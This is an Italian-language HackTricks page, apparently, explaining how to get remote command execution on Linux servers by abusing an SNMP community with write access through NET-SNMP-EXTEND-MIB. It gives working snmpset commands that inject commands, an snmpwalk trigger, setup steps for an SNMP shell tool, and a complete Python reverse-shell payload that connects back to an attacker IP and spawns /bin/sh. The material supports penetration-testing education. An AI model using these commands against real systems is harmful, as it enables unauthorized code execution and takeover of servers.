Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
SNMP RCE
SNMP può essere sfruttato da un attaccante se lâamministratore ignora la sua configurazione predefinita sul dispositivo o server. Abusando della comunitĂ SNMP con permessi di scrittura (rwcommunity) su un sistema operativo Linux, lâattaccante può eseguire comandi sul server.
Estensione dei Servizi con Comandi Aggiuntivi
Per estendere i servizi SNMP e aggiungere comandi extra, è possibile aggiungere nuove righe alla tabella ânsExtendObjectsâ. Questo può essere realizzato utilizzando il comando snmpset e fornendo i parametri necessari, incluso il percorso assoluto allâeseguibile e il comando da eseguire:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
Iniezione di Comandi per Esecuzione
Lâiniezione di comandi da eseguire sul servizio SNMP richiede lâesistenza e lâeseguibilitĂ del binario/script chiamato. Il NET-SNMP-EXTEND-MIB richiede di fornire il percorso assoluto allâeseguibile.
Per confermare lâesecuzione del comando iniettato, il comando snmpwalk può essere utilizzato per enumerare il servizio SNMP. Lâoutput mostrerĂ il comando e i suoi dettagli associati, incluso il percorso assoluto:
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
Esecuzione dei Comandi Iniettati
Quando il comando iniettato viene letto, viene eseguito. Questo comportamento è noto come run-on-read(). Lâesecuzione del comando può essere osservata durante la lettura di snmpwalk.
Ottenere una Shell del Server con SNMP
Per ottenere il controllo sul server e ottenere una shell del server, può essere utilizzato uno script python sviluppato da mxrch da https://github.com/mxrch/snmp-shell.git.
In alternativa, una reverse shell può essere creata manualmente iniettando un comando specifico in SNMP. Questo comando, attivato da snmpwalk, stabilisce una connessione di reverse shell alla macchina dellâattaccante, consentendo il controllo sulla macchina della vittima. Puoi installare i prerequisiti per eseguire questo:
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
O una reverse shell:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
Riferimenti
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

